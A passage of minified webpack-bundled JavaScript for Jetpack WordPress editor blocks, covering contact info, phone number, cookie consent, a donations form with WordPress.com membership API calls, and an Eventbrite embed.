results.","jetpack"),keywords:[_x("email","block search term","jetpack"),_x("phone","block search term","jetpack"),_x("address","block search term","jetpack")],icon:{src:f,foreground:(0,l.m)()},category:"grow",supports:{align:["wide","full"],html:!1,color:{link:!0,gradients:!0},spacing:{padding:!0,margin:!0},typography:{fontSize:!0,lineHeight:!0}},transforms:{from:[{type:"block",blocks:["core/legacy-widget"],isMatch:e=>{let{idBase:t,instance:n}=e;return!!n?.raw&&"widget_contact_info"===t},transform:e=>{let{instance:t}=e,n=[(0,o.createBlock)("core/heading",{content:t.raw.title}),(0,o.createBlock)("jetpack/email",{email:t.raw.email}),(0,o.createBlock)("jetpack/phone",{phone:t.raw.phone}),(0,o.createBlock)("jetpack/address",{address:t.raw.address})];return t.raw.hours&&(n=[...n,(0,o.createBlock)("core/paragraph",{content:t.raw.hours})]),t.raw.showmap&&t.raw.address&&(n=[...n,(0,o.createBlock)("jetpack/map",{address:t.raw.address})]),(0,o.createBlock)("jetpack/contact-info",{},n)}}]},attributes:{},edit:d.Z,save:e=>{let{className:t}=e;return(0,r.createElement)("div",{className:t},(0,r.createElement)(a.InnerBlocks.Content,null))},example:{attributes:{},innerBlocks:[{name:"jetpack/email",attributes:{email:"hello@yourjetpack.blog"}},{name:"jetpack/phone",attributes:{phone:"123-456-7890"}},{name:"jetpack/address",attributes:{address:"987 Photon Drive",city:"Speedyville",region:"CA",postal:"12345",country:"USA"}}]}},b=[{name:u.u,settings:u.X},{name:p.u,settings:p.X},{name:m.u,settings:m.X}]},70835:function(e,t,n){"use strict";var r=n(65736),a=n(66425),o=n(21621);const __=r.__;t.Z=e=>{const{setAttributes:t}=e;return(0,a.Z)("phone",e,__("Phone number","jetpack"),o.Z,(e=>t({phone:e})))}},52398:function(e,t,n){"use strict";n.d(t,{X:function(){return u},u:function(){return c}});var r=n(51806),a=n(55609),o=n(65736),i=n(36598),s=n(70835),l=n(21621);const __=o.__,_x=o._x,c="phone",u={title:__("Phone Number","jetpack"),description:__("Lets you add a phone number with an automatically generated click-to-call link.","jetpack"),keywords:[_x("mobile","block search term","jetpack"),_x("telephone","block search term","jetpack"),_x("cell","block search term","jetpack")],icon:(0,i.Z)((0,r.createElement)(a.Path,{d:"M6.54 5c.06.89.21 1.76.45 2.59l-1.2 1.2c-.41-1.2-.67-2.47-.76-3.79h1.51m9.86 12.02c.85.24 1.72.39 2.6.45v1.49c-1.32-.09-2.59-.35-3.8-.75l1.2-1.19M7.5 3H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1z"})),category:"grow",attributes:{phone:{type:"string",default:""}},parent:["jetpack/contact-info"],edit:s.Z,save:l.Z}},21621:function(e,t,n){"use strict";var r=n(51806);t.Z=e=>{let{attributes:{phone:t},className:n}=e;return t&&(0,r.createElement)("div",{className:n},function(e){const t=e.match(/\d+\.\d+|\d+\b|\d+(?=\w)/g);if(!t)return e;const n=e.indexOf(t[0]);let a=n?e.substring(n-1):e,o=n?e.substring(0,n):"",i=a.replace(/\D/g,"");return/[0-9/+/(]/.test(a[0])?(o=o.slice(0,-1),"+"===a[0]&&(i="+"+i)):a=a.substring(1),[o.trim()?(0,r.createElement)("span",{key:"phonePrefix",className:"phone-prefix"},o):null,(0,r.createElement)("a",{key:"phoneNumber",href:`tel:${i}`},a)]}(t))}},1699:function(e,t,n){"use strict";var r=n(65736);const __=r.__;t.Z={text:{type:"string",source:"html",selector:"p",default:__('Privacy &amp; Cookies: This site uses cookies. By continuing to use this website, you agree to their use. To find out more, including how to control cookies, see here: <a href="https://automattic.com/cookies/">Cookie Policy</a>.',"jetpack")},style:{type:"object",default:{color:{text:"var(--wp--preset--color--contrast)",background:"var(--wp--preset--color--tertiary)",link:"var(--wp--preset--color--contrast)"},spacing:{padding:{top:"1em",right:"1em",bottom:"1em",left:"1em"}}}},align:{type:"string",default:"wide"},consentExpiryDays:{type:"integer",default:365},showOverlay:{type:"boolean",default:!1}}},20598:function(e,t,n){"use strict";var r=n(82674),a=n.n(r),o=n(51806),i=n(52175),s=n(55609),l=n(65736);const __=l.__;t.Z=function(e){let{attributes:t,setAttributes:n}=e;const{consentExpiryDays:r,align:c,text:u}=t,d=(0,i.useBlockProps)({className:`wp-block-jetpack-cookie-consent align${c}`});return(0,o.createElement)(o.Fragment,null,(0,o.createElement)(i.InspectorControls,null,(0,o.createElement)(s.PanelBody,{title:__("Block Settings","jetpack")},(0,o.createElement)(s.SelectControl,{label:__("Alignment","jetpack"),value:c,options:[{label:(0,l.isRTL)()?__("Right","jetpack"):__("Left","jetpack"),value:"left"},{label:__("Full","jetpack"),value:"full"},{label:__("Wide","jetpack"),value:"wide"},{label:(0,l.isRTL)()?__("Left","jetpack"):__("Right","jetpack"),value:"right"}],onChange:e=>function(e){const t=["wide","full"].includes(e)?{width:void 0,height:void 0}:{};n({...t,align:e})}(e)}),(0,o.createElement)(s.TextControl,{label:__("Consent Expiry Time (in days)","jetpack"),value:r,type:"number",min:"1",max:"365",onChange:e=>n({consentExpiryDays:parseInt(e)})}),(0,o.createElement)("p",null,__("Note: The block position in the editor is not indicative of the position on the front end. The block will always be positioned at the bottom of the page.","jetpack")))),(0,o.createElement)("div",a()({},d,{style:d.style}),(0,o.createElement)(i.RichText,{tagName:"p",value:u,onChange:e=>n({text:e})}),(0,o.createElement)(i.InnerBlocks,{allowedBlocks:["core/button"],template:[["core/button",{text:__("Accept","jetpack")}]],templateLock:"all"})))}},54271:function(e,t,n){"use strict";var r=n(31985),a=n(68830);(0,r.Z)(a.u2,a.Xd)},16449:function(e,t,n){"use strict";var r=n(51806),a=n(55609);t.Z=(0,r.createElement)(a.SVG,{height:"24",viewBox:"0 0 25 25",width:"24",xmlns:"http://www.w3.org/2000/svg"},(0,r.createElement)(a.Path,{stroke:"currentColor",fill:"white",strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:"2",d:"M4.419 12c0-6.4 5.358-8 8.037-8h1.005v4h3.014v3h4.019v1c0 6.4-5.024 8-8.038 8-3.014 0-8.037-1.6-8.037-8zm5.023-4h.001m-2.01 4h0m5.023 1h.001m-2.01 3h0m6.028-1h0"}))},68830:function(e,t,n){"use strict";n.d(t,{Xd:function(){return u},u2:function(){return c}});var r=n(65736),a=n(70355),o=n(1699),i=n(20598),s=n(16449),l=n(92097);const __=r.__,c="cookie-consent",u={title:__("Cookie Consent","jetpack"),description:__("Displays a customizable cookie consent banner. To display this block on all pages of your site, please add it inside a Template Part that is present on all your templates, like a Header or a Footer.","jetpack"),icon:{src:s.Z,foreground:(0,a.m)()},category:"grow",keywords:["cookie","consent","privacy","GDPR","EU",__("cookies","jetpack"),__("privacy","jetpack"),__("EU","jetpack")],supports:{align:["left","right","wide","full"],alignWide:!0,anchor:!1,color:{gradients:!0,link:!0},spacing:{padding:!0},customClassName:!0,className:!0,html:!1,lock:!1,multiple:!1,reusable:!1},edit:i.Z,save:l.Z,attributes:o.Z,example:{attributes:{}}}},92097:function(e,t,n){"use strict";n.d(t,{Z:function(){return s}});var r=n(82674),a=n.n(r),o=n(51806),i=n(52175);function s(e){let{attributes:t}=e;const n=i.useBlockProps.save();return(0,o.createElement)("div",a()({},n,{style:n.style,role:"dialog","aria-modal":"true"}),(0,o.createElement)(i.RichText.Content,{tagName:"p",value:t.text}),(0,o.createElement)(i.InnerBlocks.Content,null),(0,o.createElement)("span",null,t.consentExpiryDays))}},10764:function(e,t,n){"use strict";var r=n(51806),a=n(25607),o=n(43317),i=n(52175),s=n(69307),l=n(65235),c=n.n(l),u=n(79162);t.Z=e=>{let{className:t=null,currency:n=null,defaultValue:l=null,disabled:d=!1,label:p="",onChange:m=null,value:h=""}=e;const[f,g]=(0,s.useState)((0,a.ZP)(h,n,{symbol:""})),[b,v]=(0,s.useState)(!1),[k,y]=(0,s.useState)(!1),E=(0,s.useRef)(null),w=(0,s.useCallback)((e=>{if(g(e),!m)return;const t=(0,u.Vm)(e,n);t&&t>=(0,u.hj)(n)?(m(t),y(!1)):e&&y(!0)}),[n,m]),_=()=>{E.current&&(E.current.focus(),v(!0))};return(0,s.useEffect)((()=>{E.current&&E.current.addEventListener("blur",(()=>v(!1)))}),[E]),(0,s.useEffect)((()=>{b||f||w((0,a.ZP)(l,n,{symbol:""}))}),[n,l,f,b,w]),(0,s.useEffect)((()=>{b||k||g((0,a.ZP)(h,n,{symbol:""}))}),[n,b,k,w,h]),(0,r.createElement)("div",{className:c()("donations__amount",t,{"has-focus":b,"has-error":k}),role:"button",tabIndex:0,onClick:_,onKeyDown:_},o.M[n].symbol,d?(0,r.createElement)("div",{className:"donations__amount-value"},(0,a.ZP)(h||l,n,{symbol:""})):(0,r.createElement)(i.RichText,{allowedFormats:[],"aria-label":p,multiline:!1,onChange:e=>w(e),placeholder:(0,a.ZP)(l,n,{symbol:""}),ref:E,value:f,withoutInteractiveFormatting:!0}))}},82275:function(e,t,n){"use strict";var r=n(51806),a=n(43317),o=n(13419),i=n(52175),s=n(55609),l=n(65736),c=n(39630),u=n(79162);const __=l.__;t.Z=e=>{const{attributes:t,setAttributes:n}=e,{currency:l,monthlyDonation:d,annualDonation:p,showCustomAmount:m}=t,h=(e,r)=>{const a={"1 month":"monthlyDonation","1 year":"annualDonation"}[e],o=t[a];n({[a]:{...o,show:r}})};return(0,r.createElement)(r.Fragment,null,(0,r.createElement)(i.BlockControls,null,(0,r.createElement)(s.ToolbarGroup,null,(0,r.createElement)(s.ToolbarItem,null,(()=>(0,r.createElement)(s.Dropdown,{contentClassName:"jetpack-donations__currency-popover",renderToggle:e=>{let{onToggle:t,isOpen:n}=e;return(0,r.createElement)(s.Button,{className:"jetpack-donations__currency-toggle",icon:(0,r.createElement)(r.Fragment,null,l+" - "+a.M[l].symbol,(0,r.createElement)(s.Dashicon,{icon:"arrow-down"})),label:__("Change currency","jetpack"),onClick:t,onKeyDown:e=>{n||e.keyCode!==c.DOWN||(e.preventDefault(),e.stopPropagation(),t())}})},renderContent:e=>{let{onClose:t}=e;return(0,r.createElement)(s.MenuGroup,null,Object.keys(u.ck).map((e=>(0,r.createElement)(s.MenuItem,{isSelected:e===l,onClick:()=>{n({currency:e}),t()},key:`jetpack-donations-currency-${e}`},e+" - "+a.M[e].symbol))))}}))))),(0,r.createElement)(i.InspectorControls,null,(0,r.createElement)(s.PanelBody,{title:__("Settings","jetpack")},(0,r.createElement)(s.ToggleControl,{checked:d.show,onChange:e=>h("1 month",e),label:__("Show monthly donations","jetpack")}),(0,r.createElement)(s.ToggleControl,{checked:p.show,onChange:e=>h("1 year",e),label:__("Show annual donations","jetpack")}),(0,r.createElement)(s.ToggleControl,{checked:m,onChange:e=>n({showCustomAmount:e}),label:__("Show custom amount option","jetpack")}),(0,r.createElement)(s.ExternalLink,{href:`https://wordpress.com/earn/payments/${(0,o.lQ)()}`},__("View donation earnings","jetpack")))))}},853:function(e,t,n){"use strict";var r=n(51806),a=n(25607),o=n(43317),i=n(52175),s=n(65736),l=n(79162);const __=s.__;t.Z={attributes:{currency:{type:"string",default:"USD"},oneTimeDonation:{type:"object",default:{show:!0,planId:null,amounts:[5,15,100],heading:__("Make a one-time donation","jetpack"),extraText:__("Your contribution is appreciated.","jetpack"),buttonText:__("Donate","jetpack")}},monthlyDonation:{type:"object",default:{show:!0,planId:null,amounts:[5,15,100],heading:__("Make a monthly donation","jetpack"),extraText:__("Your contribution is appreciated.","jetpack"),buttonText:__("Donate monthly","jetpack")}},annualDonation:{type:"object",default:{show:!0,planId:null,amounts:[5,15,100],heading:__("Make a yearly donation","jetpack"),extraText:__("Your contribution is appreciated.","jetpack"),buttonText:__("Donate yearly","jetpack")}},showCustomAmount:{type:"boolean",default:!0},chooseAmountText:{type:"string",default:__("Choose an amount","jetpack")},customAmountText:{type:"string",default:__("Or enter a custom amount","jetpack")}},supports:{html:!1},save:e=>{let{attributes:t}=e;const{currency:n,oneTimeDonation:s,monthlyDonation:c,annualDonation:u,showCustomAmount:d,chooseAmountText:p,customAmountText:m}=t;if(!s||!s.show||-1===s.planId)return null;const h={"one-time":{title:__("One-Time","jetpack")},...c.show&&{"1 month":{title:__("Monthly","jetpack")}},...u.show&&{"1 year":{title:__("Yearly","jetpack")}}};return(0,r.createElement)("div",null,(0,r.createElement)("div",{className:"donations__container"},Object.keys(h).length>1&&(0,r.createElement)("div",{className:"donations__nav"},Object.entries(h).map((e=>{let[t,{title:n}]=e;return(0,r.createElement)("div",{role:"button",tabIndex:0,className:"donations__nav-item",key:`jetpack-donations-nav-item-${t} `,"data-interval":t},n)}))),(0,r.createElement)("div",{className:"donations__content"},(0,r.createElement)("div",{className:"donations__tab"},(0,r.createElement)(i.RichText.Content,{tagName:"h4",className:"donations__one-time-item",value:s.heading}),c.show&&(0,r.createElement)(i.RichText.Content,{tagName:"h4",className:"donations__monthly-item",value:c.heading}),u.show&&(0,r.createElement)(i.RichText.Content,{tagName:"h4",className:"donations__annual-item",value:u.heading}),(0,r.createElement)(i.RichText.Content,{tagName:"p",value:p}),(0,r.createElement)("div",{className:"donations__amounts donations__one-time-item"},s.amounts.map((e=>(0,r.createElement)("div",{className:"donations__amount","data-amount":e},(0,a.ZP)(e,n))))),c.show&&(0,r.createElement)("div",{className:"donations__amounts donations__monthly-item"},c.amounts.map((e=>(0,r.createElement)("div",{className:"donations__amount","data-amount":e},(0,a.ZP)(e,n))))),u.show&&(0,r.createElement)("div",{className:"donations__amounts donations__annual-item"},u.amounts.map((e=>(0,r.createElement)("div",{className:"donations__amount","data-amount":e},(0,a.ZP)(e,n))))),d&&(0,r.createElement)(r.Fragment,null,(0,r.createElement)(i.RichText.Content,{tagName:"p",value:m}),(0,r.createElement)("div",{className:"donations__amount donations__custom-amount"},o.M[n].symbol,(0,r.createElement)("div",{className:"donations__amount-value","data-currency":n,"data-empty-text":(0,a.ZP)(100*(0,l.hj)(n),n,{symbol:""})}))),(0,r.createElement)("div",{className:"donations__separator"},"——"),(0,r.createElement)(i.RichText.Content,{tagName:"p",className:"donations__one-time-item",value:s.extraText}),c.show&&(0,r.createElement)(i.RichText.Content,{tagName:"p",className:"donations__monthly-item",value:c.extraText}),u.show&&(0,r.createElement)(i.RichText.Content,{tagName:"p",className:"donations__annual-item",value:u.extraText}),(0,r.createElement)("div",{className:"wp-block-button donations__donate-button-wrapper donations__one-time-item"},(0,r.createElement)(i.RichText.Content,{tagName:"a",className:"wp-block-button__link donations__donate-button donations__one-time-item",value:s.buttonText})),c.show&&(0,r.createElement)("div",{className:"wp-block-button donations__donate-button-wrapper donations__monthly-item"},(0,r.createElement)(i.RichText.Content,{tagName:"a",className:"wp-block-button__link donations__donate-button donations__monthly-item",value:c.buttonText})),u.show&&(0,r.createElement)("div",{className:"wp-block-button donations__donate-button-wrapper donations__annual-item"},(0,r.createElement)(i.RichText.Content,{tagName:"a",className:"wp-block-button__link donations__donate-button donations__annual-item",value:u.buttonText}))))))}}},86245:function(e,t,n){"use strict";var r=n(82674),a=n.n(r),o=n(51806),i=n(9818),s=n(69307),l=n(65736),c=n(74251),u=n(23267),d=n(21789),p=n(85731),m=n(24177),h=n(72833);const __=l.__;t.Z=e=>{const{attributes:t,className:n,setAttributes:r}=e,{currency:l}=t,[f,g]=(0,s.useState)(""),[b,v]=(0,s.useState)([]),{lockPostSaving:k,unlockPostSaving:y}=(0,i.useDispatch)("core/editor"),E=(0,i.useSelect)((e=>e("core/editor").getCurrentPost()),[]),{setShouldUpgrade:w,setConnectUrl:_}=(0,i.useDispatch)(u.G4);(0,s.useEffect)((()=>{r({fallbackLinkUrl:E.link})}),[E.link,r]);const C=e=>{g(e)},S=e=>e.reduce(((e,t)=>{let{id:n,currency:r,type:a,interval:o}=t;return r===l&&"donation"===a&&(e[o]=n),e}),{}),j=e=>{if(!e&&"object"!=typeof e||e.errors)return y("donations"),void g(__("Could not load data from WordPress.com.","jetpack"));w(e.should_upgrade_to_access_memberships),_((0,c.Z)(E.id,e.connect_url));const t=S(e.products);return(e=>{const t=Object.keys(e);return t.includes("one-time")&&t.includes("1 month")&&t.includes("1 year")})(t)?(v(t),void y("donations")):e.should_upgrade_to_access_memberships||e.connect_url?(v({"one-time":-1,"1 month":-1,"1 year":-1}),void y("donations")):void(0,d.Z)(l).then((e=>{v(S(e)),y("donations")}),C)};return(0,s.useEffect)((()=>{k("donations");(0,p.Z)("donation").then(j,C)}),[l,k]),f?(0,o.createElement)(m.Z,{className:n,error:f}):(0,o.createElement)(h.Z,a()({},e,{products:b}))}},67140:function(e,t,n){"use strict";var r=n(31985),a=n(29800);(0,r.Z)(a.u2,a.Xd)},21789:function(e,t,n){"use strict";var r=n(86989),a=n.n(r);t.Z=async e=>{try{return await a()({path:"/wpcom/v2/memberships/products",method:"POST",data:{type:"donation",currency:e,is_editable:!1}})}catch(e){return Promise.reject(e.message)}}},85731:function(e,t,n){"use strict";var r=n(86989),a=n.n(r),o=n(96483);t.Z=async function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null;const t=new URLSearchParams(window.location.search),n=(0,o.addQueryArgs)("/wpcom/v2/memberships/status",{source:"https://wordpress.com"===t.get("origin")?"gutenberg-wpcom":"gutenberg",...e&&{type:e},is_editable:!1});try{return await a()({path:n,method:"GET"})}catch(e){return Promise.reject(e.message)}}},29800:function(e,t,n){"use strict";n.d(t,{Xd:function(){return c},u2:function(){return l}});var r=n(65736),a=n(81427),o=n(853),i=n(86245),s=n(75314);const __=r.__,_x=r._x,l="donations",c={title:__("Donations Form","jetpack"),description:__("Collect one-time, monthly, or annually recurring donations.","jetpack"),icon:a.K9,category:"earn",keywords:[_x("charity","block search term","jetpack"),_x("contribution","block search term","jetpack"),_x("credit card","block search term","jetpack"),_x("debit card","block search term","jetpack"),_x("donate","block search term","jetpack"),_x("earn","block search term","jetpack"),_x("ecommerce","block search term","jetpack"),_x("fundraising","block search term","jetpack"),_x("fundraiser","block search term","jetpack"),"gofundme",_x("money","block search term","jetpack"),_x("nonprofit","block search term","jetpack"),_x("non-profit","block search term","jetpack"),_x("paid","block search term","jetpack"),"patreon",_x("pay","block search term","jetpack"),_x("payments","block search term","jetpack"),_x("recurring","block search term","jetpack"),"stripe",_x("sponsor","block search term","jetpack"),"square",_x("tipping","block search term","jetpack"),"venmo"],supports:{html:!1},edit:i.Z,save:s.Z,example:{},deprecated:[o.Z]}},24177:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(65736);const __=o.__;t.Z=e=>{let{className:t,error:n}=e;return(0,r.createElement)(a.Placeholder,{icon:"lock",label:__("Donations","jetpack"),instructions:n,className:t})}},75314:function(e,t,n){"use strict";var r=n(51806),a=n(52175);t.Z=e=>{let{attributes:t}=e;const{fallbackLinkUrl:n,oneTimeDonation:o,monthlyDonation:i,annualDonation:s}=t;return o&&o.show&&o.planId&&-1!==o.planId?(0,r.createElement)("div",null,(0,r.createElement)(a.RichText.Content,{tagName:"h4",value:o.heading}),(0,r.createElement)(a.RichText.Content,{tagName:"p",value:o.extraText}),(0,r.createElement)(a.RichText.Content,{tagName:"a",className:"jetpack-donations-fallback-link",href:n,rel:"noopener noreferrer noamphtml",target:"_blank",value:o.buttonText}),i.show&&(0,r.createElement)(r.Fragment,null,(0,r.createElement)("hr",{className:"donations__separator"}),(0,r.createElement)(a.RichText.Content,{tagName:"h4",value:i.heading}),(0,r.createElement)(a.RichText.Content,{tagName:"p",value:i.extraText}),(0,r.createElement)(a.RichText.Content,{tagName:"a",className:"jetpack-donations-fallback-link",href:n,rel:"noopener noreferrer noamphtml",target:"_blank",value:i.buttonText})),s.show&&(0,r.createElement)(r.Fragment,null,(0,r.createElement)("hr",{className:"donations__separator"}),(0,r.createElement)(a.RichText.Content,{tagName:"h4",value:s.heading}),(0,r.createElement)(a.RichText.Content,{tagName:"p",value:s.extraText}),(0,r.createElement)(a.RichText.Content,{tagName:"a",className:"jetpack-donations-fallback-link",href:n,rel:"noopener noreferrer noamphtml",target:"_blank",value:s.buttonText}))):null}},91757:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(9818),i=n(69307),s=n(65736),l=n(79162),c=n(10764);const __=s.__;t.Z=e=>{let{activeTab:t,attributes:n,setAttributes:u}=e;const{currency:d,oneTimeDonation:p,monthlyDonation:m,annualDonation:h,showCustomAmount:f,chooseAmountText:g,customAmountText:b}=n,v={"one-time":"oneTimeDonation","1 month":"monthlyDonation","1 year":"annualDonation"},k=e=>n[v[t]][e],y=(e,r)=>{const a=v[t],o=n[a];u({[a]:{...o,[e]:r}})},[E,w]=(0,i.useState)(d),_=(0,l.hj)(d),C=(0,i.useMemo)((()=>[10*_,30*_,200*_]),[_]);(0,i.useEffect)((()=>{E!==d&&(w(d),u({oneTimeDonation:{...p,amounts:C},monthlyDonation:{...m,amounts:C},annualDonation:{...h,amounts:C}}))}),[d,E,C,p,m,h,u]);const S=k("amounts"),j=(0,o.useSelect)((e=>e("core/rich-text").getFormatTypes()),[]).map((e=>e.name)).filter((e=>"core/link"!==e));return(0,r.createElement)("div",{className:"donations__tab"},(0,r.createElement)(a.RichText,{tagName:"h4",placeholder:__("Write a message…","jetpack"),value:k("heading"),onChange:e=>y("heading",e)}),(0,r.createElement)(a.RichText,{tagName:"p",placeholder:__("Write a message…","jetpack"),value:g,onChange:e=>u({chooseAmountText:e})}),(0,r.createElement)("div",{className:"donations__amounts"},S.map(((e,t)=>(0,r.createElement)(c.Z,{currency:d,defaultValue:C[t],label:(0,s.sprintf)(
// translators: %d: Tier level e.g: "1", "2", "3"
__("Tier %d","jetpack"),t+1),key:`jetpack-donations-amount-${t}`,onChange:e=>((e,t)=>{const n=[...S];n[t]=e,y("amounts",n)})(e,t),value:e})))),f&&(0,r.createElement)(r.Fragment,null,(0,r.createElement)(a.RichText,{tagName:"p",placeholder:__("Write a message…","jetpack"),value:b,onChange:e=>u({customAmountText:e})}),(0,r.createElement)(c.Z,{currency:d,label:__("Custom amount","jetpack"),defaultValue:100*(0,l.hj)(d),className:"donations__custom-amount",disabled:!0})),(0,r.createElement)("hr",{className:"donations__separator"}),(0,r.createElement)(a.RichText,{tagName:"p",placeholder:__("Write a message…","jetpack"),value:k("extraText"),onChange:e=>y("extraText",e)}),(0,r.createElement)("div",{className:"wp-block-button donations__donate-button-wrapper"},(0,r.createElement)(a.RichText,{className:"wp-block-button__link donations__donate-button",placeholder:__("Write a message…","jetpack"),value:k("buttonText"),onChange:e=>{return t=e,void u({oneTimeDonation:{...p,buttonText:t},monthlyDonation:{...m,buttonText:t},annualDonation:{...h,buttonText:t}});var t},allowedFormats:j})))}},72833:function(e,t,n){"use strict";var r=n(51806),a=n(69307),o=n(65736),i=n(65235),s=n.n(i),l=n(16367),c=n(82275),u=n(91757);const __=o.__;t.Z=e=>{const{attributes:t,className:n,products:o,setAttributes:i}=e,{oneTimeDonation:d,monthlyDonation:p,annualDonation:m}=t,[h,f]=(0,a.useState)("one-time"),g=(0,a.useCallback)((e=>h===e),[h]),b={"one-time":{title:__("One-Time","jetpack")},...p.show&&{"1 month":{title:__("Monthly","jetpack")}},...m.show&&{"1 year":{title:__("Yearly","jetpack")}}};return(0,a.useEffect)((()=>{d.planId===o["one-time"]&&p.planId===o["1 month"]&&m.planId===o["1 year"]||i({...o["one-time"]&&{oneTimeDonation:{...d,planId:o["one-time"]}},...o["1 month"]&&{monthlyDonation:{...p,planId:o["1 month"]}},...o["1 year"]&&{annualDonation:{...m,planId:o["1 year"]}}})}),[d,p,m,i,o]),(0,a.useEffect)((()=>{!p.show&&g("1 month")&&f("one-time"),!m.show&&g("1 year")&&f("one-time")}),[p,m,f,g]),(0,r.createElement)("div",{className:n},(0,r.createElement)(l.U,{blockName:"donations"}),(0,r.createElement)("div",{className:"donations__container"},Object.keys(b).length>1&&(0,r.createElement)("div",{className:"donations__nav"},Object.entries(b).map((e=>{let[t,{title:n}]=e;return(0,r.createElement)("div",{role:"button",tabIndex:0,className:s()("donations__nav-item",{"is-active":g(t)}),onClick:()=>f(t),onKeyDown:()=>f(t),key:`jetpack-donations-nav-item-${t} `},n)}))),(0,r.createElement)("div",{className:"donations__content"},(0,r.createElement)(u.Z,{activeTab:h,attributes:t,setAttributes:i}))),(0,r.createElement)(c.Z,e))}},2785:function(e,t){"use strict";t.Z={url:{type:"string",validator:e=>!e||e.startsWith("http")},eventId:{type:"number"},style:{type:"string",default:"inline"}}},6949:function(e,t,n){"use strict";n.d(t,{J:function(){return i}});var r=n(51806),a=n(55609),o=n(65736);const __=o.__,i=e=>{let{setEditingUrl:t}=e;return(0,r.createElement)(a.ToolbarGroup,null,(0,r.createElement)(a.ToolbarButton,{className:"components-toolbar__control",label:__("Edit URL","jetpack"),icon:"edit",onClick:()=>t(!0)}))}},1344:function(e,t,n){"use strict";var r=n(24717);t.Z=[r.Z]},24717:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(4981),i=n(65736),s=n(65235),l=n.n(s),c=n(92819);const _x=i._x,u=["text","backgroundColor","textColor","customBackgroundColor","customTextColor","borderRadius"];t.Z={attributes:{url:{type:"string",validator:e=>!e||e.startsWith("http")},eventId:{type:"number"},useModal:{type:"boolean"},style:{type:"string"},text:{type:"string",default:_x("Register","verb: e.g. register for an event.","jetpack")},backgroundColor:{type:"string"},textColor:{type:"string"},customBackgroundColor:{type:"string"},customTextColor:{type:"string"},borderRadius:{type:"number"}},migrate:e=>{const{className:t,style:n}=e;let r=n;r||(r=e.useModal?"modal":"inline");const a={...(0,c.omit)(e,["useModal",...u]),className:t&&t.replace("is-style-outline",""),style:r},i=(0,c.pick)(e,u);return[a,[(0,o.createBlock)("jetpack/button",{element:"a",text:i.text||_x("Register","verb: e.g. register for an event.","jetpack"),...i,uniqueId:"eventbrite-widget-id",className:t&&-1!==t.indexOf("is-style-outline")?"is-style-outline":""})]]},save:function(e){let{attributes:t}=e;const{eventId:n,useModal:o,url:i,style:s}=t;if(n)return o||"modal"===s?function(e){const{backgroundColor:t,borderRadius:n,customBackgroundColor:o,customTextColor:i,eventId:s,text:c,textColor:u,url:d}=e,p=(0,a.getColorClassName)("color",u),m=(0,a.getColorClassName)("background-color",t),h=l()("wp-block-button__link",{"has-text-color":u||i,[p]:p,"has-background":t||o,[m]:m,"no-border-radius":0===n}),f={backgroundColor:m?void 0:o,color:p?void 0:i,borderRadius:n?n+"px":void 0};return(0,r.createElement)("div",{className:"wp-block-button"},(0,r.createElement)(a.RichText.Content,{className:h,href:d,id:`eventbrite-widget-${s}`,rel:"noopener noreferrer",role:"button",style:f,tagName:"a",target:"_blank",value:c}))}(t):i&&(0,r.createElement)("a",{className:"eventbrite__direct-link",href:i},i)},isEligible:(e,t)=>("modal"===e.style||e.useModal)&&((0,c.isEmpty)(t)||(0,c.some)((0,c.pick)(e,u),Boolean))}},16078:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(13419),s=n(52175),l=n(55609),c=n(69307),u=n(65736),d=n(57538),p=n(4554),m=n(23621),h=n(2785),f=n(6949),g=n(8964),b=n(77825),v=n(75334);const __=u.__,_x=u._x;class k extends c.Component{constructor(){super(...arguments),a()(this,"state",{editedUrl:this.props.attributes.url||"",editingUrl:!1,isResolvingUrl:!1}),a()(this,"setUrl",(e=>{const{attributes:t,noticeOperations:n,setAttributes:r}=this.props,{style:a}=t;if(!e||v.Q7===e||"modal"===a)return;const o=(0,b.Ve)(e);if(o){const t={eventId:o,url:e};(0,m.Z)(t.url,this.setIsResolvingUrl).then((e=>{const a=(0,p.S)(h.Z,{...t,url:e});r(a),this.setState({editedUrl:e}),n.removeAllNotices()})).catch((()=>{r({eventId:void 0,url:void 0}),this.setErrorNotice()}))}else this.setErrorNotice()})),a()(this,"setIsResolvingUrl",(e=>this.setState({isResolvingUrl:e}))),a()(this,"setEditingUrl",(e=>this.setState({editingUrl:e}))),a()(this,"setErrorNotice",(()=>{const{noticeOperations:e,onReplace:t}=this.props,{editedUrl:n}=this.state;e.removeAllNotices(),e.createErrorNotice((0,o.createElement)(o.Fragment,null,__("Sorry, this content could not be embedded.","jetpack")," ",(0,o.createElement)(l.Button,{variant:"link",onClick:()=>(0,b.N3)(n,t)},_x("Convert block to link","button label","jetpack"))))})),a()(this,"submitForm",(e=>{e&&e.preventDefault(),this.setUrl((0,b.qq)(this.state.editedUrl)),this.setState({editingUrl:!1})})),a()(this,"cannotEmbed",(()=>{const{url:e}=this.props.attributes,{isResolvingUrl:t}=this.state;return!t&&e&&!v.Wh.test(e)}))}componentDidMount(){const{url:e}=this.props.attributes;this.setUrl(e)}renderLoading(){return(0,o.createElement)("div",{className:"wp-block-embed is-loading"},(0,o.createElement)(l.Spinner,null),(0,o.createElement)("p",null,__("Embedding…","jetpack")))}renderInspectorControls(){const{style:e}=this.props.attributes,{attributes:t,clientId:n,setAttributes:r}=this.props,a=[{value:"inline",label:__("In-page Embed","jetpack"),preview:(0,o.createElement)("div",{className:"block-editor-block-preview__container"},(0,o.createElement)("img",{src:g,alt:__("In page Eventbrite checkout example","jetpack")}))},{value:"modal",label:__("Button & Modal","jetpack")}];return(0,o.createElement)(d.Z,{title:_x("Embed Type","option for how the embed displays on a page, e.g. inline or as a 